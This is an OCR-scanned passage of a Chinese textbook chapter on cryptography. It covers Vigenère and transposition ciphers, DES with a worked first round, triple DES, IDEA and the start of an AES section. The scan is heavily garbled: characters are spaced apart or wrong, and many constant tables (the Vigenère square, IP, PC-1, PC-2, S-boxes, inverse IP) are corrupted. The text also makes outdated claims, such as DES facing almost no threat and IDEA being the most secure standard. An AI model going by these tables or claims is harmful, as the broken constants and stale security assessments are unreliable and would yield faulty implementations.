码 ,其 蔡 代 过 程 就 是 在 明文 和 密码 字符 之 间 进 行 一 对 一 的 映射 。 如 果 是 由 多 个 字母 表 构 成 
的 替代 密码 , 称 为 多 表 密 码 , 其 替代 过 程 与 前 者 不 同 之 处 在 于 明文 的 同一 字符 可 在 密码 文中 
表现 为 多 种 字符 ,因此 在 明码 文 与 密码 文 的 字符 之 间 的 映射 是 一 对 多 的 。 

周期 蔡 代 密码 是 一 种 常用 的 多 表 蔡 代 密 码 , 又 称 为 费 杰 尔 (Vigenere) 密 码 ,这 种 蔡 代 法 
是 循环 地 使 用 有 限 个 字母 来 实现 替代 的 一 种 方法 。 若 明文 信息 mmzms…m,，, 采 用 个 字 
母 人 2 个 字母 为 Bi ,B: ,…,B,) 替 代 法 ,那么 ma 将 根据 字母 B; 的 特征 来 替代 ,+i 又 将 根据 
Bi 的 特征 来 替代 ,ms+: 又 将 根据 Bs 的 特征 来 替代 …… ,如 此 循环 。 可 见 Bi,B,,…,B, 就 
是 加 密 的 密 钥 。 

这 种 加 密 的 密码 表 是 以 字母 表 移 位 为 基础 ,把 26 个 英文 字母 进行 循环 移 位 ,排列 在 一 
起 ,形成 26 X26 的 方 阵 。 该 方 阵 被 称 为 费 杰 尔 密码 表 。 

采用 的 算法 为 : 

fla) = (a+B;)modn(i= 1,2,..,n) 

实际 使 用 时 ,往往 把 某 个 容易 记忆 的 词 或 词组 当 作 密 钥 。 给 一 个 信息 加 密 时 ,只 要 把 密 

钥 反 复写 在 明文 下 方 (或 上 方 ) ,每 个 明文 字母 下 面 (或 上 面 ) 对 应 的 密 钥 字 母 说 明 该 明码 文 
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字母 应 该 用 费 杰 尔 密 码 表 的 哪 一 行 加 密 , 如 表 2-1 所 示 。 
表 2-1 费 杰 尔 密码 表 


行 列 ABCDEFGHIJKLMNOPQRSTUVWXYZ 
A ABCDEFGHIJKLMNOPQRSTUVWXYZ 
BCDEFGHIJKLMNOPQRSTUVWXYZA 

C CDEFGHIJKLMNOPQRSTUVWXYZAB 
D DEFGHIJKLMNOPQRSTUVWXYZABC 
下 EFGHIJKLMNOPQRSTUVWXYZABCD 
F FGHIJKLMNOPQRSTUVWXYZABCDE 
G GHIJKLMNOPQRSTUVWXYZABCDEF 
于 HIJKLMNOPQRSTUVWXYZABCDEFG 
机 JKLMNOPQRSTUVWXYZABCDEFGH 
】 JKLMNOPQRSTUVWXYZABCDEFGHI 
K KLMNOPQRSTUVWXYZABCDEFGHIJ 
L LMNOPQRSTUVWXYZABCDEFGHIJK 
M MNOPQRSTUVWXYZABCDEFGHIJKL 
N NOPQRSTUVWXYZABCDEFGHIJKLM 
O OPQRSTUVWXYZABCDEFGHIJKLMN 
P PQRSTUVWXYZABCDEFGHIJKLMNO 
Q QRSTUVWXYZABCDEFGHIJKLMNOP 
及 RSTUVWXYZABCDEFGHIJKLMNOPQ 
S STUVWXYZABCDEFGHIJKLMNOPQR 
下 TUVWXYZABCDEFGHIJKLMNOPQRS 
| UVWXYZABCDEFGHIJKLMNOPQRST 
V VWXYZABCDEFGHIJKLMNOPQRSTU 
W WXYZABCDEFGHIJKLMNOPQRSTUYV 
X XYZABCDEFGHIJKLMNOPQRSTUVVW 
Y YZABCDEFGHIJKLMNOPQRSTUVWX 
Z ZABCDEFGHIJKLMNOPQRSTUVWXY 


例如 ,以 COOKIEMONSTER 为 密 钥 ,为 把 较 长 明文 译 成 密码 ,可 重复 地 把 密 钥 写 在 明 
文 上 方 ， 


COOKIEMONSTERCOOKIE MONSTERCOOKIEMONSTE RCOOKIEMO 


fourscoreandsevenye arsagoourmothersbro ughtforth 
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其 加 密 过 程 就 是 以 明码 文字 母 选择 列 ,以 密 钥 字母 选择 行 ,两 者 的 交点 就 是 加 密生 成 的 
密码 文字 母 。 解 密 时 ,以 密 钥 字母 选择 行 ,从 中 找到 密码 文字 母 ,密码 文字 母 所 在 列 的 列 名 
即 为 明码 文字 母 。 在 此 例 中 f 译 成 密码 需 用 C 行 的 凯撒 字母 , 密 文 为 孔 , 把 o 与 u 分 别 译 成 
密 文 就 得 采用 O 行 凯撒 字母 ,其 为 密 文 B 与 吾 , 其 他 明文 字母 以 此 类 推 。 按 照明 文 的 位 置 ， 
用 不 同 的 密 文字 母 代 蔡明 文字 母 ,例如 ,the 这 种 三 字母 组 合 ,将 根据 它们 在 明文 中 的 位 置 ， 
在 密 文中 会 映射 出 不 同 的 三 字母 组 合 。 

人 但 只 要 给 密码 分 析 员 以 足够 数量 的 密 文 ,总 还 是 
可 以 进行 破译 的 。 这 里 的 加 密 关键 在 于 密 钥 。 ee 一 步 采用 的 方法 是 : 加 长 密 钥 长 度 或 
采用 随机 的 二 进 制 串 作为 密 钥 。 

代 换 密码 也 并 不 一 定 是 每 次 都 只 研究 一 个 字母 。 例 如 , 坡 他 密码 (Portacipher) ,采用 
26X26 的 表 。 每 次 把 明文 看 成 两 个 字符 ( 偶 对 ) 的 密码 ,由 第 一 个 字符 指示 行 , 第 二 个 字符 
指示 列 , 由 此 产生 的 交叉 点 的 数字 或 字母 偶 对 就 是 译 出 的 密码 值 。 


2.2.2 换 位 密码 


换 位 密码 是 采用 移 位 法 进行 加 密 的 。 它 把 明文 中 的 字母 重新 排列 ,本 身 不 变 , 但 位 置 变 
了 。 换 位 密码 是 靠 重新 安排 字母 的 次 序 , 而 不 是 隐藏 它们 。 最 简单 的 例子 是 : 把 明文 中 的 
字母 的 顺序 倒 过 来 写 , 然 后 以 固定 长 度 的 字母 组 发 送 或 记录 ,如 : 

明文 : 

computer systems 

密 文 : 

smetsys retupmoc 

换 位 密码 有 列 换 位 法 和 和 矩阵 换 位 法 两 种 。 

矩阵 换 位 法 是 把 明文 中 的 字母 按 给 定 的 顺序 安排 在 一 矩阵 中 ,然后 用 另 一 种 顺序 选 出 


矩阵 的 字母 来 产生 密 文 。 如 将 明文 ENGINEERING 按 行 排 在 3X4 抢 阵 中 ,如 最 后 后 一 行 不 
全 可 用 A,B,C… 填 充 , 如 下 所 示 : 


1 2 3 4 
E NG 1 
NE EE RR 
I NG A 


给 定 一 个 置换 : 
f = ((1234)(2413)) 
现在 根据 给 定 的 置换 , 按 第 2 列 , 第 4 列 ,第 1 列 ,第 3 列 的 次 序 排 列 , 就 得 ; 
1 2 4 


N I G 
ERR& 医 
N A G 


得 到 密 文 NIEGERNENAIG 。 
二 


在 这 个 加 密 方案 中 , 密 钥 就 是 和 矩阵 的 行 数 mx 和 列 数 n, 即 mXn 二 3X4, 以 及 给 定 的 置换 
抢 阵 f= 二 ((1234)(2413)), 也 就 是 上 二 (mXn, 了) ,其 解密 过 程 是 将 密 文 根据 3X4 和 矩阵 , 按 
行 、 按 列 的 顺序 写 出 : 


1 3 
N 及 她 
E RNE 
N I GA 
再 根据 给 定 置换 产生 新 的 矩阵 : 
直入 
E NGI 
N EER 
IN G A 


恢复 明文 : ENGINEERING。 
另外 ,也 可 以 提供 字母 串 作 为 密 钥 ,如 采用 重复 字母 组 成 的 短语 作为 密 钥 ,将 明文 排序 ， 
然后 以 密 钥 英文 字母 大 小 顺序 排出 列 号 以 列 的 顺序 写 出 密 文 ,下 面 举 一 个 进行 列 转 换 的 
例子 。 
密 钥 :M E GA B VC K 


列 号 7 让 5 1 8 3 6 
区 生 起 性 
a n s f e r o hn 
e Wi Lt -0 mn 
下 人 -下 业 注重 ”总 而 
oO m s wl 8 六 


[= 
+ 号 


明文 : 
pleasetransferonemilliondollarstomyswissbankaccountsixtwotwo 


AFLLSKSOSELAWAIATOOSSCTCLNMOMANT 
ESILYNTWRNNTSOWDPAEDOBUOERIRICXB 


本 例 中 ,MEGABVCK 是 密 钥 。 密 钥 的 作用 是 对 列 编 号 。 在 最 接近 于 英文 字母 表 首 
端的 密 钥 字母 的 下 面 为 列 号 。 如 MEGABVCK 中 的 A 为 第 一 列 ,B 为 第 二 列 , 以 此 类 推 ， 
V 为 第 八 列 。 首 先 把 明文 按 横 行书 写成 若干 行 ( 每 行 的 长 度 等 于 密 钥 长 度 ,车 最 后 的 明 
文 不 够 一 行 可 用 “abcdef…” 填 充 ) ,然后 再 按照 以 字母 次 序号 为 最 小 的 密 钥 字母 所 在 的 
列 ,开始 依次 读 出 ,就 能 译 成 密 文 。 如 本 例 , 按 照 上 表 列 出 的 1,2,3,…,8 列 依次 读 出 ,就 
构成 密 文 。 
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2.3 数据 加 密 标 准 DES 与 IDEA 


2.3.1 数据 加 密 标 准 DES 思想 


数据 加 密 标 准 DES(data encryption standard) 是 美国 国家 标准 局 研究 的 国防 部 以 外 部 
门 计算 机 系统 的 数据 加 密 标准 ,于 1972 年 和 1974 年 美国 国家 标准 局 (NBS) 先 后 两 次 向 公 
众 发 出 了 征求 加 密 算法 的 公告 。 

对 加 密 算法 要 求 达 到 以 下 几 点 : 

(1) 必须 提供 高 度 的 安全 性 。 

(2) 具有 相当 高 的 复杂 性 ,使 得 破译 的 开销 超过 可 能 获得 的 利益 ,同时 又 便于 理解 和 


一 
CD 
se 


安全 性 应 不 依赖 于 算法 的 保密 ,其 加 密 的 安全 性 仅 以 加 密 密 钥 的 保密 为 基础 。 
必须 适用 于 不 同 的 用 户 和 不 同 的 场合 。 

(5) 实现 经 济 、 运 行 有 效 。 

必须 能 够 验证 ,允许 出 口 。 

1977 年 1 月 ,美国 政府 采纳 IBM 公司 设计 的 方案 作为 非 机 密 数 据 的 正式 数据 加 密 标 
准 (DES) 。DES 被 授权 用 于 所 有 公开 的 和 私人 的 非 保 密 通信 场合 ,后 来 它 又 曾 被 国际 标准 
组 织 采 纳 为 国际 标准 。 

DES 是 一 种 单 钥 密码 算法 , 它 是 一 种 典型 的 按 分 组 方式 工作 的 密码 ,是 两 种 基本 的 加 
密 组 块 奉 代 和 换 位 的 细致 而 复杂 的 结构 。 它 通过 反复 依次 应 用 这 两 项 技术 来 提高 其 强度 ， 
经 过 总 共 16 轮 的 替代 和 换 位 的 变换 后 ,使 得 密码 分 析 者 无 法 获得 该 算法 一 般 特 性 以 外 更 多 
的 信息 。 对 于 这 种 加 密 , 除 了 尝试 所 有 可 能 的 密 钥 外 ,还 没有 已 知 技术 可 以 求 得 所 用 的 密 
钥 。 当 用 56 位 密 钥 时 ,可 能 的 组 合 大 于 7.2X10° 种 ,所 以 想 用 穷 举 法 来 确定 某 一 密 钥 
的 机 会 是 极 小 的 。 如 果 采 用 穷 举 法 进行 攻击 的 话 , 即 使 一 微 秒 能 穷 举 一 个 密 钥 ,也 要 花 
费 2283 年 的 时 间 。 因 此 ,这 种 加 密 几 乎 不 存在 什么 威胁 。DES 算法 现 已 在 VLSI 芯片 上 
实现 了 。 

DES 算法 是 对 称 的 , 既 可 用 于 加 密 又 可 用 于 解密 。 

DES 算法 将 输入 的 明文 分 为 64 位 的 数据 分 组 ,使 用 64 位 的 密 钥 进行 变换 ,每 个 64 位 
明文 分 组 数据 经 过 初始 置换 、16 次 迭代 和 北 初 始 置 换 3 个 主要 阶段 ,最 后 输出 得 到 64 位 密 
文 。 其 主要 过 程 如 下 。 

64 位 数据 经 初始 变换 后 被 置换 。 密 钥 经 过 去 掉 其 第 8.16,24,…,64 位 减 至 56 位 (去 
掉 的 那些 位 被 视 为 奇偶 校 验 位 ,不 含 密 钥 信 息 ) ,然后 就 开始 各 轮 的 运算 。64 位 经 过 初始 置 
换 的 数据 被 分 为 左 、 右 两 半 部 分 ,56 位 的 密 钥 经 过 了 左 移 若 干 位 和 置换 后 取出 48 位 密 钥 子 
集 。 如 图 2-2 所 示 ,在 每 一 轮 迭 代 过 程 中 , 密 钥 子 集中 的 一 个 子 密 钥 K; 与 数据 的 右 半 部 分 
相 结合 。 

为 了 将 输入 数据 的 右 半 部 分 32 位 的 数据 与 56 位 的 密 钥 相 结合 ,需要 两 个 变换 : 

(1) 通过 重复 某 些 位 将 32 位 的 右 半 部 分 扩展 为 48 位 。 

(2) 56 位 密 钥 则 通过 选择 其 中 某 些 位 而 减少 至 48 位 。 

。 48 。 
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图 2-2 ”DES 加密 原 理 示意 


变换 完 的 两 个 48 位 数据 项 异 或 输出 一 个 48 位 数据 ,该 数据 经 过 压缩 和 置换 输出 32 位 
数据 。 
后 再 与 数据 的 左 半 部 异 或 ,结果 作为 这 一 轮 迭 代 的 输出 数据 的 右 半 部 分 ;结合 前 的 右 
半 部 分 作为 这 一 轮 迭 代 的 输出 数据 的 左 半 部 分 。 这 一 轮 输出 的 64 位 数据 结果 作为 下 一 轮 
的 待 加 密 数 据 ,这 种 轮换 要 重复 16 次 。 最 后 一 轮 之 后 ,进行 逆 初 始 置 换 运 算 , 它 是 初始 置换 
的 逆 , 最 后 得 到 64 位 密 文 。 


2.3.2 DES 详细 算法 * 


如 前 所 说 ,DES 算法 大 致 可 以 分 成 3 个 部 分 : 初始 置换 、16 次 迭代 过 程 . 逆 置换 ,其 中 
在 16 次 迭代 过 程 还 必须 从 密 钥 中 提取 子 密 钥 ,将 32 位 的 右 半 部 分 扩展 为 48 位 。 
要 进行 加 密 的 一 组 数据 , 先 要 经 过 初始 置换 IP 的 处 理 ,然后 经 过 一 系列 的 迭代 运算 ,最 
后 经 过 初始 置换 IP 的 逆 置 换 IP 给 出 结果 。 
1. 初始 置换 IP 
在 初始 置换 过 程 中 ,输入 64 位 要 加 密 的 数据 组 工 : 
T= tt 


按 初 始 置换 表 IP 进行 换 位 ,如 表 2-2 所 示 。 


表 2-2 初始 置换 表 IP 


58 50 42 18 0 2 
60 52 44 20 2 1 
62 54 46 22 1 6 
64 56 18 24 6 8 
57 49 41 正和 9 | 
59 51 13 19 1 3 
61 53 45 21 3 5 
63 55 47 23 5 7 


在 表 2-2 中 数字 的 含义 是 : 
例如 : 58 是 指 将 tss 换 位 到 第 1 位 ; 
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50 是 指 将 #。 换 位 到 第 2 位 ; 
1 是 指 将 换 位 到 第 40 位 ; 


7 是 指 将 ti 换 位 到 第 64 位 。 
经 过 初始 IP 置换 ,得 到 组 如; 
B= 太一 0 

2. 和 迭代 过 程 

每 次 迭代 过 程 实际 上 包括 4 个 独立 的 操作 : 首先 是 将 待 加 密 数 据 的 右 半 部 分 由 32 位 
扩展 为 48 位 ,然后 与 由 64 位 密 钥 生成 的 48 位 的 某 一 子 密 钥 异 或 ,得 到 的 结果 通过 S 盒 被 
压缩 到 了 32 位 ,这 32 位 数据 经 过 置换 再 与 左 半 部 分 异 或 ,最 后 产生 输出 新 的 右 半 部 , 待 加 
密 数 据 的 右 半 部 分 作为 这 一 轮 迭 代 的 输出 数据 的 左 半 部 分 (如 图 2-2 所 示 , 即 为 数据 的 交换 
输出 )。 下 一 轮 迭 代 以 前 一 轮 狗 代 输 出 的 结果 作为 待 加 密 数据 ,总 共 进 行 16 次 迭代 。 注 意 ， 
最 后 一 次 扩 代 之 后 ,所 得 结果 的 左 、 右 半 部 分 不 再 交换 ,这 样 做 的 原因 是 为 了 使 加 密 和 人 解密 
可 以 使 用 同一 个 算法 。 

以 下 是 其 中 的 一 次 迭代 过 程 。 

(1) 每 一 右 半 部 分 都 经 过 扩 排 列 , 由 32 位 扩展 为 48 位 。 扩 展 过 程 置换 了 位 的 次 序 的 
同时 也 重复 了 某 些 位 。 

扩展 的 目的 有 两 个 : 

Q@ 使 得 密 文中 间 结 果 的 一 半 与 密 钥 相 匹 配 。 

@ 产生 一 较 长 结果 而 后 又 可 将 其 压缩 。 

扩展 排列 由 表 2-3 定义 。 由 于 是 扩展 排列 ,所 以 有 些 位 将 移 至 多 个 输出 位 上 。 

表 2-3 扩展 排列 表 


(2) 生成 每 一 轮 的 密 钥 一 一 子 密 钥 : 子 密 钥 的 生成 过 程 如 图 2-3 所 示 。 
由 于 64 位 密 钥 每 隔 7 位 删除 1 位 , 即 删除 第 8 位 、 第 16 位 、 第 24 位 …… 最 后 变 成 了 
56 位 的 密 钥 。56 位 的 密 钥 经 过 PC-1 置换 ,作为 56 位 初始 子 密 钥 ,置换 输出 顺序 如 表 2-4 
所 示 。 
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ee 


删除 8,16… 共 8 位 校 验 信息 


i 
PC-1 置 换 
1 
56 位 初始 子 密 钥 
1 1 
Co Do 
1 1 
LS LS 
i i 
Ci D， 
一 | PC-2 上 一 K 
LS;, LS: 
1 1 
C, D， 
一 | PC-2 广 一 K, 
1 
LSie LSi 
1 1 
Ci16 Di 
1 1 


| PC-2 -— Ki 


图 2-3 子 密 钥 K; 的 生成 过 程 


表 2-4 子 密 钥 PC-1 置换 表 


57 49 41 25 17 和 
1 58 50 34 26 18 
10 2 59 13 35 27 
19 11 3 52 44 36 
63 55 47 31 23 15 
7 62 54 38 30 22 
14 6 61 45 37 29 
21 13 5 20 12 上 


在 一 轮 的 每 一 步 中 , 密 钥 被 分 成 各 含 28 位 的 两 半 部 分 C; 和 D; ,在 每 一 轮 中 , 密 钥 的 两 
半 部 分 独立 地 循环 左 移 LS; 位 ,LS; 的 值 由 一 数字 决定 , 表 2-5 中 表示 了 各 轮 需 要 移动 的 位 
数 ,然后 再 将 两 部 分 拼接 起 来 。 


表 2-5 各 轮 移动 位 数 表 


轮 号 
移动 位 数 
轮 号 
移动 位 数 


i LS Si 
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随后 对 56 位 中 的 48 位 进行 PC-2 置换 ,作为 该 轮 的 子 密 钥 K; , 表 2-6 表示 了 选择 这 48 
位 的 PC-2 置换 表 。 
表 2-6 子 密 钥 PC-2 置换 表 


14 17 11 24 1 5 
3 28 15 6 21 10 
23 19 12 上 26 8 
16 7 27 20 13 2 
41 52 31 37 47 55 
30 40 51 45 33 18 
11 49 39 56 34 53 
46 42 50 36 29 32 


(3) 每 轮 的 子 密 钥 K; 与 经 过 扩展 的 来 自 上 面 的 右 半 部 分 进行 异 或 相 加 得 到 48 位 数 
据 。 这 48 位 数据 结果 收入 下 面 将 描述 的 S 盒 。 

(4) 再 将 这 48 位 按 顺 序 分 成 8 组 ,每 组 6 位 ,这 8 组 分 别 通过 称 为 S 盒 的 变换 ,由 每 组 
输入 6 位 变 成 每 组 输出 4 位 ,从 而 得 到 32 位 的 数据 。 这 个 过 程 如 图 2-4 所 示 , 数 据 表 如 
表 2-7 所 示 。 

48 位 
[| III] 


132 位 


图 2-4 S 盒 变换 过 程 


表 2-7 S 盒 数据 表 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 

0|14 4 13 1 2 15 1 8 3 10 6 12 5 9 0 7 
oo 7 4 14 2 13 1 10 6 12 1 9 5 3 8 
3 3 2 15 12 9 7 3 10 5 0 
3 115 12 8 2 4 9 1 7 5 1 3 14 10 0 6 13 
0|1 1 8 14 6 1 3 4 9 7 2 13 12 0 5 10 
i BB 4 7 1 2 8 WB 0 1 WW 6 9 HH 四 
0 bp 1 5 8 12 6 9 3 2 15 
3 83 Ww 1 3 5 4 2 1 6€ 7 2 0 5 M4 9 
oli 0 9 wu 6 3 5 5 1 3 7 ll 4 2 8 
1 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1 
| 6 9 85 3 0 1 2 12 5 10 M4 7 
3 ii 而 ”和 


人 
0 7 13 14 3 0 6 9 10 1 2 8 a 1 过 4 5 
| 
S| 0 0 7 13 15 1 3 14 5 2 8 4 
3 SB] I 0 6 10 1 13 8 9 4 . 1 2 和 2 4 
o| 2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9 
0 
| 冯 4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14 
Sli 8 7 TY i 2 6 5 0 3 WW #4 VW 8 
| 
Lo 4 2 7 12 9 5 6 1 13 14 0 1 3 8 
| 9 放 后 呈 守 客 业 3 7 0 《4 WW 1 BB 1 $6 
| 二 省 
0 4 11 2 14 15 0 8 13 3 12 9 7 5 1 6 1 
sills on 7 4 9 11 1 3 5 12 2 1 8 1 
2 1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2 
3|6 1 13 8 1 4 10 7 9 5 0 15 14 2 3 12 
9 | 
|! 1 15 13 8 10 3 7 4 12 5 6 1 0 14 9 2 
2 7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8 
3 Es 


假定 S; 盒 的 6 个 输入 端 为 010;0;040s06 ,在 S; 表 中 找 出 5166 行 ,bs053040; 列 的 数字 (十 进 
制 数 ) , 即 变 换 后 得 到 的 4 位 输出 结果 。 例 如 S 的 输入 为 110101, 则 : 
=1, b=1, bb = (11), =3 
D2 ls, bs 0, bh 1l, bs 0, bsbsbibs = (1010), = 10 
S10) = 14 = 
即 S; 的 输出 是 1110。 
S 盒 输出 的 32 位 再 经 过 P 置换 ,P 置换 的 置换 表 如 表 2-8 所 示 。 置 换 完毕 后 ,再 与 左 半 
部 分 相 加 ,结果 产生 新 的 右 半 部 分 。 


表 2-8 P 置换 表 
16 20 21 
29 12 28 17 
1 15 23 26 
5 18 31 10 
2 8 24 14 
32 27 3 9 
19 13 30 6 
22 11 4 25 


3. 逆 初 始 置换 卫 … 
把 经 过 16 次 迭代 所 得 的 64 位 数据 最 后 进行 着 初始 置换 IP“ 即 可 输出 64 位 密 文 , 逆 初 
全 


始 置换 IP-! 表 如 表 2-9 所 示 ,比较 表 2-2 和 表 2-9, 可 以 看 出 IP 与 IP-! 互 逆 。 
表 2-9 初始 置换 表 IP-: 


40 8 48 24 64 2 
39 这 47 23 63 31 
38 6 46 22 62 30 
37 5 45 | 61 29 
36 4 44 20 60 28 
35 号 43 19 59 27 
34 2 42 18 58 26 
33 L 41 Rx 57 25 
至 此 完成 了 整个 加 密 过 程 ,如 图 2-5 所 示 。 
DES 的 解密 过 程 和 DES 完全 类 似 , 只 是 将 人 
16 轮 的 子 密 钥 序列 Ki, K;,…, Kis 的 顺序 颠倒 过 二 
来 使 用 , 即 第 1 轮 使 用 Ki ,第 2 轮 使 用 Ks ，…… i 
第 16 轮 使 用 K,。 初始 置换 
下 面 对 DES 的 加 密 过 程 举例 说 明 。 
例如 , 明文 M = 二 “SECURITY”, 密 钥 K = 
“COMPUTER” ,它们 的 ASCII 码 分 别 用 二 进 制 表 a 
示 为 : 
M = (0101 0011 0100 0101 0100 0011 LD RD) 
0101 0101 0101 0010 0100 
1001 0101 0100 0101 1001),; 1 
K = (0100 0011 1010 0111 1101 0011 f 
1010 1011 0000 0100 1010 L,(32) R2(32) 
1011 0101 0001 1000 1010)。; ‘~ ete 0 We 
M 经 过 初始 置换 IP 后 得 到 Lo Ro: SO 
L = 1111 1111 1101 1001 0100 1010 1010 1111 全 
R, = 0000 0000 0000 0000 1010 0000 0001 0101 LeG32) RicG2) 
K 删除 第 8,16,24,…,64 位 的 奇偶 校 验 位 变 i 
成 6 位 K' ， = 和 
K’ 一 0100 0011 0100 1111 0100 1101 0101 0000 输出 密 文 Y(64) 
0101 0101 0101 0100 0100 0101 
图 2-5 DES 加 密 算法 过 程 简 图 


K 经 过 PC-1 置换 后 得 到 C ,Du 
Co = 1010 1110 0100 0101 0010 1010 0100 
D, = 1010 1111 0001 0010 1010 0000 0100 
因为 是 第 一 次 迭代 , 故 左 移 1 位 CoDo 得 到 CDi 为 : 
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Ci = 0101 1100 1000 1010 0101 0100 1001 
Di = 0101 1110 0010 0101 0100 0000 1001 
Cr Di 再 经 过 PC-2 置换 得 子 密 钥 Ki: 
Ki =0000 0101 1100 0001 0000 0111 0000 0010 0010 1011 1111 0001 
将 Re 进行 扩展 置换 后 得 : 
E(R,)=1000 0000 0000 0000 0000 0001 0101 0000 0000 0000 1010 1010 
然后 将 下 (R。 ) 与 Ki 进行 异 或 得 A: 
A=1000 0101 1100 0001 0000 0110 0101 0010 0010 1011 0101 1011 

将 结果 A 分 为 8 组 : 
Al 二 100001, 查 Si 盒 坐标 (3,0) 得 Bl 二 15; 
As 二 011100, 查 Ss 盒 坐 标 (0,14) 得 B, 二 5; 
As 二 000100, 查 S; 盒 坐标 (0,2) 得 Bs 二 9; 
A 二 000110, 查 S 盒 坐标 (0,3) 得 B= 二 3; 
As 二 010100, 查 Ss 盒 坐标 (0,10) 得 Bs 二 3; 
As 一 100010 , 查 Ss 盒 坐 标 (2,1) 得 Bs 二 14; 
A; 二 101101, 查 S; 盒 坐标 (3,6) 得 Bi 二 10; 
As 二 011011, 查 Ss 盒 坐 标 (1,13) 得 Bs 二 14; 
合并 Bi B,*…… Bs 得 数据 B: 

B=1111 0101 1001 0011 0011 1110 1010 1110 
进行 对 称 置 换 P 得: 

Xu。 王 1011 1100 1110 0010 1100 0111 1011 1011 
将 Lo 与 Xo 按 位 异 或 ,形成 Ri : 

Ri=0100 0011 0011 1011 1000 1101 0001 0100 
令 Li=Ro。 
至 此 , 求 出 第 一 轮 和 迭代 结果 Li Ri ,以 此 类 推 可 求 出 Lis Ri ,再 经 过 逆 初 始 置换 即 可 获得 

密 文 。 


2.3.3 三 重 DES 算法 


DES 算法 的 不 足 在 于 密 钥 长 度 太 短 , 经 过 研究 发 现 ,可 以 对 DES 实现 多 重 使 用 ,以 创 
建 一 种 更 复杂 的 加 密 算法 。 因 此 ,出 现 了 三 重 DES(triple DES, TDES) 加 密 算法 。 该 方法 
可 以 使 用 两 个 或 者 3 个 密 钥 ,对 数据 进行 3 次 加 密 。 其 加 密 和 解密 工作 原理 如 图 2-6 所 示 。 


TDES 加 密 
TDES 解 密 
图 2-6 三 重 DES 的 功能 图 
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从 图 中 可 以 看 出 ,TDES 的 加 密 过 程 为 “加 密 一 解密 一 加 密 ”, 即 第 一 步 按 照常 规 的 方式 
使 用 密 钥 Ki 对 明文 进行 DES 加 密 , 第 二 步 利 用 密 钥 K; 对 第 一 部 中 的 加 密 结果 进行 解密 ， 
第 三 步 使 用 密 钥 Ks 对 第 二 步 的 结果 进行 DES 加 密 。TDES 的 解密 过 程 为 “解密 一 加 密 一 
解密 ”。 

分 析 TDES 加 密 的 过 程 可 以 注意 到 ,第 二 步 其 实 做 的 工作 是 解密 ,这 是 TDES 比 DES 
更 复杂 的 关键 所 在 。 

TDES 可 以 使 用 两 个 或 者 3 个 密 钥 , 如 果 是 两 个 密 钥 , 则 K! 和 相同 ,而 不 能 与 K。 
相同 。 考 虑 到 密 钥 对 系统 的 开销 ,使 用 两 个 密 钥 的 情况 较 多 ,两 个 密 钥 的 长 度 已 经 达到 112 
位 ,对 于 一 般 的 商业 应 用 而 言 足够 了 。 如 果 使 用 3 个 密 钥 , 密 钥 长 度 将 达到 168 位 ,对 系统 

因为 TDES 要 进行 3 次 加 密 , 所 以 TDES 所 需 的 时 间 是 DES 算法 的 3 倍 。 但 是 它 仍然 
是 一 种 较 快 的 算法 ,因为 它 可 以 在 硬件 上 实现 。 


2.3.4 IDEA 算法 


IDEA(international data encryption algorithm) 算 法 又 叫 国际 数据 加 密 算法 ,是 瑞士 联 
ts i top em rp wn 相对 于 DES 的 56 位 密 钥 , 它 使 
用 128 位 密 钥 , 每 次 加 密 一 个 64 位 的 数据 块 。 这 个 算法 被 加 强 以 防止 一 种 特殊 类 型 的 攻 
击 , 称 为 微分 密码 分 析 。 任 何人 都 可 以 得 到 这 pi 它 的 安全 与 DES 算法 一 样 不 在 隐藏 
算法 本 身 ,而 在 于 保存 好 密 钥 。 

IDEA 算法 被 认为 是 当前 最 好 的 、 最 为 安全 的 加 密 标 准 算法 。 算 法 可 用 于 加 密 和 解密 。 
IDEA 用 了 混乱 和 扩散 等 操作 ,主要 有 3 种 操作 : 异 或 、 模 加 、 模 乘 , 容 易 用 软件 和 硬件 实现 。 

IDEA 算法 运算 时 间 与 DES 的 速度 一 样 快 , 它 在 386/33 的 PC 上 的 加 密 速 度 是 
880kbps。 

IDEA 算法 的 安全 性 相对 DES 算法 有 了 很 大 的 提高 ,其 密 钥 是 128 位 ,在 穷 举 攻击 的 
情况 下 ,需要 经 过 2 天 次 加 密 才 能 恢复 出 密 钥 。 假 设 一 台 计算 机 每 秒 产生 和 运行 10 亿 个 密 
钥 , 它 将 检测 102 年 。 


2.4 AES 算法 


2.4.1 高 级 加 密 标准 AES 由 来 


自 20 世纪 70 年 代 产 生 的 DES 算 法 ,得 到 了 广泛 的 应 用 和 不 断 的 改进 ,但 是 随 着 20 世 
纪 末 出 现 的 差分 密码 分 析 及 线性 密码 分 析 等 技术 的 出 现 , 使 得 破译 DES 和 TDES 成 为 可 
能 ,因此 在 1997 年 ,美国 国家 标准 技术 研究 所 (NITS) 宣 布 举行 了 一 个 高 级 加 密 标准 
(advanced encryption standard，AES) 的 竞赛 ,要 求 新 参赛 的 加 密 算 法 具有 以 下 功能 。 

(1) 密 钥 大 小 可 变 ,密码 能 支持 128 位 、192 位 和 256 位 密 钥 长 度 。 

(2) 能 同时 支持 软件 和 硬件 两 种 实现 方式 。 

(3) 是 对 称 的 加 密 算法 。 

ee 


(4) 可 以 公开 定义 。 

经 过 对 参赛 算法 的 反复 评估 测试 .审定 ,从 算法 的 安全 性 效率 、 软 硬件 适合 性 .灵活 
性 ` 内 存 需 求 等 方面 进行 综合 考查 ,最 终 , 比 利 时 的 密码 学 专家 Joan Daemen 和 Vincent 
Rijmen 提出 的 加 密 算 法 Rijndael 算法 赢得 了 胜利 ,成 为 21 世纪 新 的 加 密 算 法 AES。 
2001 年 ,NITS 正式 公布 Rijndael 算法 为 高 级 加 密 标 准 AES。 


2.4.2 AES 工作 原理 


AES 是 一 个 迭代 的 、 对 称 密 钥 分 组 的 密码 , 它 可 以 使 用 128,192 或 256 位 密 钥 ,并 且 
用 128 位 (16 字 节 ) 分 组 加 密 和 解密 数据 。 和 迭代 加 密使 用 一 个 循环 结构 ,在 该 循环 中 重复 
置换 (permutations) 和 替换 (substitutions) 输 入 数据 。AES 一 般 进 行 10~14 次 加 密 , 这 取 
决 于 明文 的 长 度 和 密 钥 的 大 小 。AES 与 大 多 数 分 组 密码 不 同 的 是 它 没 有 使 用 Feistel 
结构 。 

AES 每 一 次 加 密 的 计算 都 包括 以 下 4 种 操作 。 

